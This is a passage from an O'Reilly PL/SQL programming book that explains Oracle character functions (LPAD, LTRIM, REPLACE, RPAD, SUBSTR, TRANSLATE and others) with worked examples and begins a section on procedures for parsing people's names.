    Because the length of "HITOP TIES" is 10 and the length of "sell!" is 5, there is room for seven repetitions of the pad string. LPAD does, in fact, generate a repetition of the pattern specified in the pad string.

  • Place the phrase "sell!" in front of the names of selected stocks, up to a string length of 43.

LPAD ('HITOP TIES', 43, 'sell!')
==>
   'sell!sell!sell!sell!sell!sell!selHITOP TIES'

    Because the length of "HITOP TIES" is 10 and the length of "sell!" is 5, there is no longer room for seven full repetitions of the pad string. As a result, the seventh repetition (counting from the left) of "sell!" lost its last two characters. So you can see that LPAD does not pad by adding to the left of the original string until it runs out of room. Instead, it figures out how many characters it must pad by to reach the total, then constructs that full padded fragment, and finally appends the original string to this fragment.

  • Place three repetitions of the string "DRAFT-ONLY" in front of the article's title. Put two spaces between each repetition.

LPAD ('Why I Love PL/SQL', 53, 'DRAFT-ONLY  ');
==>
      'DRAFT-ONLY  DRAFT-ONLY  DRAFT-ONLY  Why I Love PL/SQL'

    You can specify any number of characters to be padded in front of the incoming string value. The 53 that is hardcoded in that call to LPAD is the result of some hard calculations: the title is 17 characters and the prefix, including spaces, is 12 characters. As a result, I needed to make sure that I padded to a length of at least 17 + 12*3 = 53. This is not a very desirable way to solve the problem, however; once again I have assumed that in my program I have access to all these specific values and can precompute the length I need. The section entitled "Frame String with Prefix and Suffix" shows how to generalize this kind of action in a procedure -- without making any assumptions about lengths.

11.1.9 The LTRIM function

The LTRIM function is the opposite of LPAD. Whereas LPAD adds characters to the left of a string, LTRIM removes, or trims, characters from the leading portion of the string. And just as with LPAD, LTRIM offers much more flexibility than simply removing leading blanks. The specification of the LTRIM function is:

FUNCTION LTRIM (string1 IN VARCHAR2 [, trim_string IN VARCHAR2])
RETURN VARCHAR2

LTRIM returns string1 with all leading characters removed up to the first character not found in the trim_string. The second parameter is optional and defaults to a single space.

There is one important difference between LTRIM and LPAD. LPAD pads to the left with the specified string, and repeats that string (or pattern of characters) until there is no more room. LTRIM, on the other hand removes all leading characters which appear in the trim string, not as a pattern, but as individual candidates for trimming.

Here are some examples:

  • Trim all leading blanks from ` Way Out in Right Field':

LTRIM ('    Way Out in Right Field') ==> 'Way Out in Right Field'

    Because I did not specify a trim string, it defaults to a single space and so all leading spaces are removed.

  • Trim `123' from the front of a string:

my_string := '123123123LotsaLuck123';

LTRIM (my_string, '123') ==> 'LotsaLuck123'

    In this example, LTRIM stripped off all three leading repetitions of "123" from the specified string. Although it looks as though LTRIM trims by a specified pattern, this is not so, as the next example illustrates.

  • Remove all numbers from the front of the string:

my_string := '70756234LotsaLuck';

LTRIM (my_string, '0987612345') ==> 'LotsaLuck'

    By specifying every possible digit in my trim string, I ensured that any and all numbers would be trimmed, regardless of the order in which they occurred (and the order in which I place them in the trim string).

  • Remove all a's, b's, and c's from the front of the string: `abcabcccccI LOVE CHILI':

LTRIM ('abcabcccccI LOVE CHILI', 'abc') ==> 'I LOVE CHILI'

    LTRIM removed the patterns of "abc", but also removed the individual instances of the letter "c". This worked out fine since the request was to remove any and all of those three letters. What if I wanted to remove only any instance of "abc" as a pattern from the front of the string? I couldn't use LTRIM since it trims off any matching individual characters. To remove a pattern from a string -- or to replace one pattern with another pattern -- you will want to make use of the REPLACE function, which is discussed next.

11.1.10 The REPLACE function

The REPLACE function returns a string in which all occurrences of a specified match string are replaced with a replacement string. REPLACE is useful for searching out patterns of characters and then changing all instances of that pattern in a single function call. The specification of the REPLACE function is:

FUNCTION REPLACE (string1 IN VARCHAR2, match_string IN VARCHAR2
                  [, replace_string IN VARCHAR2])
RETURN VARCHAR2

If you do not specify the replacement string, then REPLACE simply removes all occurrences of the match_string in string1. If you specify neither a match string nor a replacement string, REPLACE returns NULL.

Here are several examples using REPLACE:

  • Remove all instances of the letter "C" in the string "CAT CALL":

REPLACE ('CAT CALL', 'C') ==> 'AT ALL'

    Because I did not specify a replacement string, REPLACE changed all occurrences of "C" to NULL.

  • Replace all occurrences of "99" with "100" in the following string:

REPLACE ('Zero defects in period 99 reached 99%!', '99', '100')
==>
      'Zero defects in period 100 reached 100%!'

  • Replace all occurrences of "th" with the letter "z":

    REPLACE ('this that and the other', 'th', 'z') ==> 'zis zat and ze ozer'

  • Handle occurrences of a single quote (') within a query criteria string. The single quote is a string terminator symbol. It indicates the start and/or end of the literal string. I ran into this requirement when building query-by-example strings in Oracle Forms. If the user enters a string with a single quote in it, such as:

Customer didn't have change.

    and then I concatenate that string into a larger string, the resulting SQL statement (created dynamically by Oracle Forms in Query Mode) fails, because there are unbalanced single quotes in the string.

    You can resolve this problem in one of three ways:

    1. Simply strip out the single quote before you execute the query. This is workable only if there really aren't any single quotes in the data in the database.

    2. If you do allow single quotes, you can then either replace the single quote with a single character wildcard ( _ ) or:

    3. Embed that single quote inside other single quotes so that the SQL layer can properly parse the statement.

    To replace the single quote with a wild card, you would code:

criteria_string := REPLACE (criteria_string, '''', '_');

    That's right! Four single quotes in sequence are required for PL/SQL to understand that you want to search for one single quote in the criteria string. The first quote indicates the start of a literal. The fourth quote indicates the end of the string literal. The two inner single quotes parse into one single quote. That is, whenever you want to embed a single quote inside a literal, you must place another single quote before it.

    This principle comes in handy for the final resolution of the single quote in query criteria problem: change the single quote to two single quotes and then execute the query.

criteria_string := REPLACE (criteria_string, '''', '''''');

    as in:

REPLACE ('Customer didn''t have change.', '''', '''''')
==>
   Customer didn''t have change.

    Now, even if you place single quotes at the beginning and end of this string, the internal single quote will not signal termination of the literal.

  • Remove all leading repetitions of "abc" from the string:

    "abcabcccccI LOVE CHILIabc"

    This is the behavior I was looking at in the previous section on LTRIM. I want to remove all instances of the pattern "abc" from the beginning of the string, but I do not want to remove that pattern throughout the rest of the string. In addition, I want to remove "abc" only as a pattern; if I encounter three contiguous c's ("ccc"), on the other hand, they should not be removed from the string. This task is less straightforward than it might at first seem. If I simply apply REPLACE to the string, it will remove all occurrences of "abc", instead of just the leading instances. For example:

REPLACE ('abcabccccI LOVE CHILIabc', 'abc') ==> 'cccI LOVE CHILI'

    That is not what I want in this case. If I use LTRIM, on the other hand, I will be left with none of the leading c's, as demonstrated in a previous example:

LTRIM ('abcabcccccI LOVE CHILIabc', 'abc') ==> 'I LOVE CHILIabc'

    And this is not quite right either. I want to be left with `cccI LOVE CHILIabc' (please do not ask why), and it turns out that the way to get it is to use a combination of LTRIM and REPLACE. Suppose I create a local variable as follows:

my_string   := 'abcabccccI LOVE CHILIabc';

    Then the following statement will achieve the desired effect by nesting calls to REPLACE and LTRIM within one another:

REPLACE
   (LTRIM
      (REPLACE (my_string, 'abc', '@'), '@'), '@', 'abc')
==>
      'cccI LOVE CHILIabc'

    Here is how I would describe in English what the above statement does:

    "First replace all occurrences of `abc' with the special character `@' (which I am assuming does not otherwise appear in the string). Then trim off all leading instances of `@'. Finally, replace all remaining occurrences of `@' with `abc'."

    Voila, as they say in many of the finer restaurants in Paris. Now let's pull apart this single, rather complex statement into separate PL/SQL steps which correspond to my "natural language" description:

    • Replace all occurrences of "abc" with the special character "@" (which I am assuming does not otherwise appear in the string). Notice that this only affects the pattern and not any appearance of "a", "b", or "c".

    REPLACE ('abcabccccI LOVE CHILIabc', 'abc', '@')
          ==> '@@cccI LOVE CHILI@'

    • Trim off all leading instances of "@".

    LTRIM ('@@cccI LOVE CHILI@', '@') ==> 'cccI LOVE CHILI@'

      Notice that LTRIM now leaves the c's in place, because I didn't ask it to remove `"a" or "b" or "c" -- just "@". In addition, it left the trailing "@" in the string since LTRIM deals only with characters on the leading end of the string.

    • Replace all remaining occurrences of "@" with "abc".

          REPLACE ('cccI LOVE CHILI@', '@', 'abc') ==> 'cccI LOVE CHILIabc'

      And we are done. I used the first REPLACE to temporarily change the occurrences of "abc" so that LTRIM could distinguish between the pattern I wanted to get rid of and the extra characters which needed to be preserved. Then, a final call to REPLACE restored the pattern in the string.

11.1.11 The RPAD function

The RPAD function adds characters to the end of a character string. It returns a string padded to the right (hence the "R" in "RPAD") to a specified length, and with an optional pad string. The specification of the RPAD function is:

FUNCTION RPAD
   (string1 IN VARCHAR2,
    padded_length IN NUMBER
    [, pad_string IN VARCHAR2])
RETURN VARCHAR2

RPAD returns string1 padded on the right to length padded_length with the optional character string pad_string. If you do not specify pad_string, then string1 is padded on the right with spaces. You must specify the padded_length. If string1 already has a length equal to padded_length, then RPAD returns string1 without any additional characters. If padded_length is smaller than the length of string1, RPAD effectively truncates string1: it returns only the first padded_length characters of the incoming string1.

Let's look at some examples of RPAD:

  • Display the number padded right with zeros to a length of 10:

RPAD ('55', 10, '0') ==> '5500000000'

    I could also use TO_CHAR to convert from a number to a character (I don't know off-hand why you would do this, but it's good to be reminded that there are usually at least two or three ways to solve any problem):

TO_CHAR (55 * 10000000) ==> '5500000000'

  • Display the number padded right with zeros to a length of 5:

RPAD ('12345678', 5) ==> '12345'

    RPAD interprets its padded_length as the maximum length of the string that it may return. As a result, it counts padded_length number of characters from the left (start of the string) and then simply returns that substring of the incoming value. This is the same behavior as that found with LPAD, described earlier in this chapter. Remember: RPAD does not return the rightmost five characters (in the above case "45678").

  • Place the phrase "sell!" after the names of selected stocks, up to a string length of 45:

RPAD ('HITOP TIES', 45, 'sell!')
==>
'  HITOP TIESsell!sell!sell!sell!sell!sell!sell!'

    Since the length of "HITOP TIES" is 10 and the length of "sell!" is 5, there is room for seven repetitions of the pad string. RPAD does, in fact, generate a repetition of the pattern specified in the pad string.

  • Place the phrase "sell!" after the names of selected stocks, up to a string length of 43:

RPAD ('HITOP TIES', 43, 'sell!')
==>
   'HITOP TIESsell!sell!sell!sell!sell!sell!sel'

    Because the length of "HITOP TIES" is 10 and the length of "sell!" is 5, there is no longer room for seven full repetitions of the pad string. As a result, the seventh repetition of "sell!" lost its last two characters.

  • Create a string of 60 dashes to use as a border in a report:

RPAD ('-', 60, '-')
==>
'------------------------------------------------------------'

You can use RPAD (and LPAD as well) to generate repetitive sequences of characters. I have used this technique in SQL*Reportwriter V1.1, where graphical objects like boxes are not really available. I can include the RPAD in a SELECT statement in the report, and then use the corresponding field in Text elements to provide lines to break up the data in a report.

11.1.12 The RTRIM function

The RTRIM function is the opposite of RPAD, and the companion function to LTRIM. Where RPAD adds characters to the right of a string, RTRIM removes, or trims, characters from the end portion of the string. Just as with RPAD, RTRIM offers much more flexibility than simply removing trailing blanks. The specification of the RTRIM function is:

FUNCTION RTRIM (string1 IN VARCHAR2 [, trim_string IN VARCHAR2])
RETURN VARCHAR2

RTRIM returns string1 with all trailing characters removed up to the first character not found in the trim_string. The second parameter is optional and defaults to a single space.

Here are some examples of RTRIM:

  • Trim all trailing blanks from a string:

RTRIM (`Way Out in Right Field                  ')
==> 'Way Out in Right Field'

    Since I did not specify a trim string, it defaults to a single space and so all trailing spaces are removed.

  • Trim all the characters in "BAM! ARGH!" from the end of a string:

my_string := 'Sound effects: BAM!ARGH!BAM!HAM';
RTRIM (my_string, 'BAM! ARGH!') ==> 'Sound effects:'

    This use of RTRIM stripped off all the letters at the end of the string which are found in "BAM!ARGH!." This includes "BAM" and "HAM," so those words too are removed from the string even though "HAM" is not listed explicitly as a "word" in the trim string. Also, the inclusion of two exclamation marks in the trim string is unnecessary, because RTRIM is not looking for the word "ARGH!", but each of the letters in "ARGH!".

11.1.13 The SOUNDEX function

The SOUNDEX function allows you to perform string comparisons based on phonetics (the way a word sounds), as opposed to semantics (the way a word is spelled).[1] SOUNDEX returns a character string which is the "phonetic representation" of the argument. The specification of the SOUNDEX function is as follows:

[1] Oracle Corporation used the algorithm in The Art of Computer Programming, Volume 3, by Donald Knuth, to generate the phonetic representation.

FUNCTION SOUNDEX (string1 IN VARCHAR2) RETURN VARCHAR2

Here are some of the values SOUNDEX generated and how they vary according to the input string:

SOUNDEX ('smith') ==> 'S530'
SOUNDEX ('SMYTHE') ==> ''S530'
SOUNDEX ('smith smith') ==> 'S532'
SOUNDEX ('smith z') ==> 'S532'
SOUNDEX ('feuerstein') ==> 'F623'
SOUNDEX ('feuerst') ==> 'F623'

Keep the following SOUNDEX rules in mind when using this function:

  • The SOUNDEX value always begins with the first letter in the input string.

  • SOUNDEX only uses the first five consonants in the string to generate the return value.

  • Only consonants are used to compute the numeric portion of the SOUNDEX value. Except for a possible leading vowel, all vowels are ignored.

  • SOUNDEX is not case-sensitive. Upper- and lowercase letters return the same SOUNDEX value.

The SOUNDEX function is useful for ad hoc queries, and any other kinds of searches where the exact spelling of a database value is not known or easily determined.

11.1.14 The SUBSTR function

The SUBSTR function is one of the most useful and commonly used character functions. It allows you to extract a portion or subset of contiguous (connected) characters from a string. The substring is specified by starting position and a length.

The specification for the SUBSTR function is:

FUNCTION SUBSTR
   (string_in IN VARCHAR2,
    start_position_in IN NUMBER
    [, substr_length_in IN NUMBER])
RETURN VARCHAR2

where the arguments are used as follows:

string_in

The source string

start_position_in

The starting position of the substring in string_in

substr_length_in

The length of the substring desired (the number of characters to be returned in the substring)

The last parameter, substr_length_in, is optional. If you do not specify a substring length, then SUBSTR returns all the characters to the end of string_in (from the starting position specified).

The start position cannot be zero. If the start position is less than zero, then the substring is retrieved from the back of the string. SUBSTR counts backwards substr_length_in number of characters from the end of string_in. In this case, however, the characters which are extracted are still to the right of the starting position. See Figure 11.2 for an illustration of how the different arguments are used by SUBSTR.

Figure 11.2: How arguments are used by SUBSTR

The substr_length_in argument must be greater than zero.

You will find that in practice SUBSTR is very forgiving. Even if you violate the rules for the values of the starting position and the number of characters to be substringed, SUBSTR will not generate errors. Instead, for the most part, it will return NULL -- or the entire string -- as its answer.

Here are some examples of SUBSTR:

  • If the absolute value of the starting position exceeds the length of the input string, return NULL:

SUBSTR ('now_or_never', 200) ==> NULL
SUBSTR ('now_or_never', -200) ==> NULL

  • If starting position is 0, SUBSTR acts as though the starting position was actually 1:

SUBSTR ('now_or_never', 0, 3) ==> 'now'
SUBSTR ('now_or_never', 0) ==> 'now_or_never'

  • If the substring length is less than or equal to zero, return NULL:

SUBSTR ('now_or_never', 5, -2) ==> NULL
SUBSTR ('now_or_never', 1, 0) ==> NULL

  • Return the last character in a string:

SUBSTR ('Another sample string', -1) ==> 'g'

    This is the cleanest way to get the single last character. A more direct, but cumbersome, approach is this:

SUBSTR
   ('Sample string', LENGTH ('Sample string'), 1) ==> 'g'

    In other words, calculate the LENGTH of the string and the one character from the string that starts at that last position. Yuch.

  • Remove an element from a string list. This is, in a way, the opposite of SUBSTR: I want to extract a portion or substring of a string -- and leave the rest of it intact. Oddly enough, however, I will use SUBSTR to perform this task. Suppose my screen maintains a list of selected temperatures, as follows:

|HOT|COLD|LUKEWARM|SCALDING|

    The vertical bar delimits the different items on the list. When the user deselects "LUKEWARM," I now have to remove it from the list, which becomes:

|HOT|COLD|SCALDING|

    The best way to accomplish this task is to determine the starting and ending positions of the item to be removed, and then use SUBSTR to take apart the list and put it back together -- without the specified item. Let's walk through this process a step at a time. The list used in the above example contains 29 characters:

String:          |HOT|COLD|LUKEWARM|SCALDING|
Character index: 1234567890123456789012345679

    As you can see, the item "LUKEWARM" starts on position 11 and ends on position 18. To extract this item from the list, I need to pull off the portion of the string before "LUKEWARM" as follows:

SUBSTR ('|HOT|COLD|LUKEWARM|SCALDING|', 1, 10)

    and then I need to extract the trailing portion of the list (after "LUKEWARM"). Notice that I do not want to keep both of the delimiters when I put these pieces back together, so this next SUBSTR does not include the vertical bar at position 19:

SUBSTR ('|HOT|COLD|LUKEWARM|SCALDING|', 20)

    Finally, then, to extract "LUKEWARM" from the list, I use the following concatenation of calls to SUBSTR:

SUBSTR ('|HOT|COLD|LUKEWARM|SCALDING|', 1, 10)
||
SUBSTR ('|HOT|COLD|LUKEWARM|SCALDING|', 20)
==>
   '|HOT|COLD|SCALDING|'

  • Remove the middle word in a three-word string (in which each word is separated by an underscore) and switch the order of the first and last words. For example, change better_than_ever to ever_better. This is a bit different from the list_remove function because I do not have immediately available to me the length of the element I need to remove. Instead, I have to make use of INSTR twice to calculate that length. Here is the solution expressed as a function:

/* Filename on companion disk: bitesw.sf */
FUNCTION bite_and_switch (tripart_string_in IN VARCHAR2)
   RETURN VARCHAR2
IS
   /* Location of first underscore */
   first_delim_loc  NUMBER := INSTR (tripart_string_in, '_', 1, 1);

   /* Location of second underscore */
   second_delim_loc NUMBER := INSTR (tripart_string_in, '_', 1, 2);

   /* Return value of function, set by default to incoming string. */
   return_value VARCHAR2(1000) := tripart_string_in;
BEGIN
   /* Only switch words if two delimiters are found. */
   IF second_delim_loc > 0
   THEN
      /* Pull out  first and second words and stick them together. */
     return_value :=
         SUBSTR (tripart_string_in, 1, first_delim_loc - 1) || '_' ||
         SUBSTR (tripart_string_in, second_delim_loc + 1);
   END IF;

   /* Return the switched string */
   RETURN return_value;
END bite_and_switch;

  • Use SUBSTR to extract the portion of a string between the specified starting and ending points. I run into this requirement all the time. SUBSTR requires a starting position and the number of characters to pull out. Often, however, I have only the starting position and the ending position -- and I then have to compute the number of characters in between. Is it just the difference between the end and start positions? Is it one more or one less than that? Invariably, I get it wrong the first time and have to scribble a little example on scrap paper to prove the formula to myself.

    So to save all of you the trouble, I offer a tiny function below, called "betwnstr" (for: "BETWeeN STRing"). This function encapsulates the calculation you must perform to come up with the number of characters between start and end positions, which is:

end_position - start_position + 1

/* Filename on companion disk: betwnstr.sf */
FUNCTION betwnstr
   (string_in IN VARCHAR2, start_in IN INTEGER, end_in IN INTEGER)
   RETURN VARCHAR2
IS
BEGIN
   RETURN SUBSTR (string_in, start_in, end_in - start_in + 1);
END;

    While this function does not provide the full flexibility offered by SUBSTR (for example, with negative starting positions), it offers a starting point for the kind of encapsulation you should be performing in these situations.

By the way, SUBSTRB is the multiple-byte character set version of SUBSTR. For single-byte character sets (such as American English), SUBSTRB returns the same values as SUBSTR.

11.1.15 The TRANSLATE function

The TRANSLATE function is a variation on REPLACE. REPLACE replaces every instance of a set of characters with another set of characters; that is, REPLACE works with entire words or patterns. TRANSLATE replaces single characters at a time, translating the nth character in the match set with the nth character in the replacement set. The specification of the TRANSLATE is as follows:

FUNCTION TRANSLATE
   (string_in IN VARCHAR2,
    search_set IN VARCHAR2,
    replace_set VARCHAR2)
RETURN VARCHAR2

where string_in is the string in which characters are to be translated, search_set is the set of characters to be translated (if found), and replace_set is the set of characters which will be placed in the string. Unlike REPLACE, where the last argument could be left off, you must include all three arguments when you use TRANSLATE. Any of the three arguments may, however, be NULL, in which case TRANSLATE always returns NULL.

Here are some examples of the effect of TRANSLATE:

TRANSLATE ('abcd', 'ab', '12') ==> '12cd'

TRANSLATE ('12345', '15', 'xx') ==> 'x234x'

TRANSLATE ('grumpy old possum', 'uot', '%$*') ==>   'gr%mpy $ld p$ss%m'

TRANSLATE ('my language needs the letter e', 'egms', 'X')
==>
   'y lanuaX nXXd thX lXttXr X';

TRANSLATE ('please go away', 'a', NULL) ==> NULL

You can deduce a number of the usage rules for TRANSLATE from the above examples, but I spell them out here:

  • If the search set contains a character not found in the string, then no translation is performed for that character.

  • If the string contains a character not found in the search set, then that character is not translated.

  • If the search set contains more characters than the replace set, then all the "trailing" search characters that have no match in the replace set are removed from the string. In the following example, a, b, and c are changed to z, y, and x, respectively. But the letter "d" is removed from the return string entirely since it had no corresponding character in the replace set.

TRANSLATE ('abcdefg', 'abcd', 'zyx') ==> 'zyxefg'

    In these cases, NULL is the matching "character" for all extra characters in the search set. When you replace a character with NULL it is the same as removing that character from the string.

  • If any of the three arguments is NULL, then the result of the translation is NULL. This is consistent with a basic tenet of NULLs: apply an operation to an unknown value and you always get an unknown value.

The TRANSLATE function comes in handy when you need to change a whole set of characters in a string, regardless of the order in which they appear in the string. Section 11.2.5, "Verifying String Formats with TRANSLATE" demonstrates how handy this feature can be.

11.1.16 The UPPER function

The UPPER function converts all letters in the specified string to uppercase. The specifications of the UPPER function are:

FUNCTION UPPER (string1 IN CHAR) RETURN CHAR
FUNCTION UPPER (string1 IN VARCHAR2) RETURN VARCHAR2

As I noted at the beginning of this chapter, UPPER and LOWER will actually return a fixed-length string if the incoming string is fixed length. UPPER will not change any characters in the string which are not letters, since case is irrelevant for numbers and special characters such as $.

Here are some examples of the effect of UPPER:

UPPER ('short little letters no more') ==> 'SHORT LITTLE LETTERS NO MORE'

UPPER ('123abc') ==> '123ABC'

UPPER and its partner in case conversion, LOWER, are useful for guaranteeing a consistent case when comparing strings. PL/SQL is not a case-sensitive language as concerns its own syntax and names of identifiers. It is sensitive to case, however, in character strings, whether found in named constants, literals, or variables. The string "ABC" is not the same as "abc", and this can cause problems in your programs if you are not careful and consistent in your handling of such values.

Previous: III. Built-In Functions | Oracle PL/SQL Programming, 2nd Edition | Next: 11.2 Character Function Examples
III. Built-In Functions | Book Index | 11.2 Character Function Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] 11.2 Character Function Examples

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

11.2 Character Function Examples

Now that you have a solid grounding in all the different character functions, you should find the extended examples in the following sections easy to follow. I also hope that you'll find that the concepts embodied by the examples come in handy in your own applications.

11.2.1 Parsing a Name

Have you ever noticed that a person's name is a complicated data structure? You've got a first name, last name, middle initial, title, salutation, and who knows what else. It is also impossible to guarantee the uniqueness of a person's name, no matter how many attributes you plan to maintain. That's why I memorized my nine-digit Social Security number early in life.

The name of a human being is made up of many components. To make things even more complicated, though, there are at least two common formats for displaying and specifying a person's name:

  • LAST, FIRST MIDDLE, as in Feuerstein, Eli S.

and:

  • FIRST MIDDLE LAST, as in Eli Silva Feuerstein

But of course a name could also be formatted as follows:

  • TITLE FIRST MIDDLE LAST1 LAST2 GENERATION SUFFIX

as in Mr. Eli S. Hamilton Feuerstein, III, PhD

Why should you care about these different formats? Suppose my application has a table of callers structured like this:

CREATE TABLE caller
   (caller_id NUMBER PRIMARY KEY,
    first_name VARCHAR2(30),
    last_name VARCHAR2(30),
    middle_name VARCHAR2(30)
   );

and that the caller_id column is a foreign key in a number of other tables.

I strongly believe that users should never have to see or enter the actual foreign key values, unless there is a specific application requirement to do so. Instead, the user should be able to work with the name of the caller and leave it to the PL/SQL code to get the key. Users don't need to know that the caller named "Steven Feuerstein" has called ID number 14067. They just know the name and they should be allowed to enter the name in whatever format they choose:

FIRST MIDDLE LAST
LAST, FIRST MIDDLE
LAST, FIRST
LAST
FIRST LAST

and so on. My application should be smart enough to figure out the intended name. To do this, I would have to parse the name entered by the user into its component parts, dynamically interpreting the type of format the user has employed. This parsing process is performed using a variety of string functions.

Now if you think I am going to provide you with code that will be able to make sense of a name like Mr. Eli S. Hamilton Feuerstein, III, PhD, then I would ask you to please lower your expectations. Instead, I will present several versions of a procedure that parses a name assuming a simpler format. I will then leave the more general and truly bewildering cases as, ahem, exercises for the reader.

11.2.1.1 Parsing first and last names only

The procedure that follows, parse_name, accepts a full name and returns the first and last names, separated out of that combined string. The first version of this procedure understands and interprets three different formats:

FIRST LAST
LAST, FIRST
LAST

The parse_name algorithm is straightforward, applying the following rules:

  • If the full name has a comma, then everything to the left of the comma is the last name and everything to the right of the comma is the first name.

  • If the full name does not have a comma but does have a space, then everything to the left of the space is the first name and everything to the right of the space is the last name.

  • If the full name has neither a space nor a comma, then the entire string is the last name and the procedure returns a NULL value for the first name.

In all of these cases, the first and last names are returned in uppercase.

The following table shows how parse_name will interpret various name strings:

Full Name | First | Last
SANDRA BARKER | SANDRA | BARKER
QUINCE,HARRY | HARRY | QUINCE
JOG BOG, HOLLER | HOLLER | JOG BOG
Steve Samson | STEVE | SAMSON
Eli Silva Feuerstein | ELI | SILVA FEUERSTEIN
HALLY |  | HALLY

The following version of parse_name doesn't check for middle names and uses LTRIM, RTRIM, INSTR, and SUBSTR to separate a full name into its first and last name components:

/* Filename on companion disk: parsenm1.sp */
PROCEDURE parse_name
              (fullname_in IN VARCHAR2,
               fname_out OUT caller.first_name%TYPE,
               lname_out OUT caller.last_name%TYPE)
IS
   /* Trimmed and uppercased version of name. */
   fullname_int VARCHAR2(255) := LTRIM (RTRIM (UPPER (fullname_in)));

   /* The location of the comma delimiter in the name. */
   delim_comma NUMBER := INSTR (fullname_int, ',');

   /* Location of the first space delimiter in the name. */
   delim_space NUMBER := INSTR (fullname_int, ' ');

BEGIN
   IF delim_comma = 0 AND delim_space = 0
   THEN
      /* No comma, no space: return whole string as LAST name. */
      lname_out := fullname_int;
      fname_out := NULL;

   ELSIF delim_comma != 0
   THEN
      /* Found a comma in the string! Use LAST, FIRST format.
      ||
      || Use SUBSTR to grab everything from the beginning of the
      || name to just before comma and assign it to last name.
      */
      lname_out := SUBSTR (fullname_int, 1, delim_comma-1);
      /*
      || Use SUBSTR to grab everything from just after the comma
      || and assign it to the first name. Use LTRIM to
      || get rid of any blanks between the comma and the first name.
      */
      fname_out := LTRIM (SUBSTR (fullname_int, delim_comma+1));

   ELSIF delim_space != 0
   THEN
      /* Found a space in the string! Use FIRST LAST format.
      ||
      || Use SUBSTR to grab everything from the beginning of the
      || name to just before the space and assign to first name.
      */
      fname_out := SUBSTR (fullname_int, 1, delim_space-1);
      /*
      || Use SUBSTR to grab everything from just after the space
      || and assign it to the last name. Use RTRIM to
      || get rid of any multiple spaces before the last name.
      */
      lname_out := LTRIM (SUBSTR (fullname_int, delim_space+1));
   END IF;
END parse_name;

As you saw in the previous table, parse_name does not do such a great job with middle names when provided in the format FIRST MIDDLE LAST. In fact, it doesn't recognize middle names as a separate component in a person's name. In the next section we look at a version of parse_name that does handle middle names intelligently.

11.2.1.2 Parsing first, last, and middle names

In order to handle potential middle names, I need to come up with a new set of possible formats which will be recognized by the procedure. I can think of the following:

FIRST MIDDLE LAST
LAST, FIRST MIDDLE
LAST, FIRST
LAST
FIRST LAST

I could also try to handle MIDDLE LAST, FIRST -- this would seem to me, however, to be a very unusual and awkward way to enter a name. I am going to ignore it.

Given these formats, I will enhance the parse_name procedure shown in the previous section so that it applies the following additional rules:

  • If the format is FIRST MIDDLE LAST, then the last name is made up of everything after the last blank in the name, and the first name is everything up to the first blank.

  • If the format is LAST, FIRST MIDDLE, then the last name is made up of everything up to the comma. The first name is everything after the comma and before the first blank after the comma (or the end of the string, in which case there is no middle name).

We've already seen how to find the first space in a string. How can we find the last occurrence of the space in a string? We will make use of the negative starting point for the INSTR function as follows (the INSTR function is discussed earlier in the chapter):

last_space_loc := INSTR (fullname_int, ' ', -1, 1);
lname_out   := SUBSTR (fullname_int, delim_space+1);

The enhanced version of parse_name is shown below. It takes the full name and returns up to three different components of that name. The three component parameters are given modes of IN OUT, rather than just OUT, because I make reference to the parameters in the program as I manipulate the values. Because of this they cannot be simply OUT parameters.

Here is the version of parse_name that checks for middle names:

/* Filename on companion disk: parsenm2.sp */
PROCEDURE parse_name
   (fullname_in IN VARCHAR2,
    fname_out IN OUT caller.first_name%TYPE,
    mname_out IN OUT caller.last_name%TYPE,
    lname_out IN OUT caller.middle_name%TYPE)
/*
|| Note: comments are provided only for new elements of code.
*/
IS
   fullname_int VARCHAR2(255) := LTRIM (UPPER (fullname_in));
   delim_comma NUMBER := INSTR (fullname_in, ',');

   /* Location of the first and last space delimiters. */
   first_space NUMBER := INSTR (fullname_in, ' ');
   last_space  NUMBER;

BEGIN
   IF delim_comma = 0 AND first_space = 0
   THEN
      /* Just one word, so it all goes to the last name */
      lname_out := fullname_int;
      fname_out := NULL;
      mname_out := NULL;

   ELSIF delim_comma != 0
   THEN
      /* LAST, FIRST or FIRST MIDDLE format:
      || Strip off last name, then do first and middle names
      */
      lname_out := SUBSTR (fullname_int, 1, delim_comma-1);
      /*
      || Assign the remainder of the name to the first name.
      || If there are no more spaces, there is no middle name
      || and the first name will be the rest of the name.
      ||
      || Find the first space after the comma. I use LTRIM
      || to remove any leading blanks between the comma and
      || the first name.
      */
      fname_out := LTRIM (SUBSTR (fullname_int, delim_comma+1));
      first_space := INSTR (fname_out, ' ');
      IF first_space = 0
      THEN
         /* No space, so there is no middle name. */
         mname_out := NULL;
      ELSE
         /* Split up the name into first and middle parts. */
         fullname_int := fname_out; -- hold a copy
         fname_out := SUBSTR (fullname_int, 1, first_space-1);
         mname_out := SUBSTR (fullname_int, first_space+1);
      END IF;

   ELSIF first_space != 0
   THEN
      /*
      || We have a "FIRST MIDDLE LAST" scenario. See if there is
      || another space, and make sure that there are non-blank
      || characters between the two blanks.  If this is the case,
      || we have a middle name. If not, just split up the name into
      || first and last. Well? Didn't I say that names are
      || complicated?
      */
      last_space := INSTR (fullname_in, ' ', -1, 1);
      IF first_space = last_space
      THEN
         /* Just one space. Split name as in parse_name. */
         fname_out := SUBSTR (fullname_int, 1, first_space-1);
         lname_out := SUBSTR (fullname_int, first_space + 1);
      /*
      || Check to see if there is anything besides blanks between
      || the first and last names. The user might have typed:
      || "JOE    SHMO" just to play games with your program. You
      || don't want to look silly, so you make the effort and
      || use RTRIM to squeeze out the blanks, leaving behind NULL
      || if that's all there was.
      */
      ELSE
         /*
         || The hardest part about the middle name is that you have
         || to figure out its length. You need to subtract 1 from
         || the difference between last and first since the
         || first_space locator is actually always an offset from
         || zero. For example:
         ||          Loc = 12345678901234567890
         ||       String = thelma hoke peterson
         ||   first_space (7) ||-^    ^||- last_space (12)
         ||       Length of middle name "Hoke" = 12 - 7 - 1 = 4
         */
         mname_out :=
            LTRIM (RTRIM
                     (SUBSTR (fullname_int,
                              first_space + 1,
                              last_space - first_space - 1)));

         /* Now the easy part. */
         fname_out := SUBSTR (fullname_int, 1, first_space - 1);
         lname_out := SUBSTR (fullname_int, last_space + 1);
      END IF;
   END IF;
END;

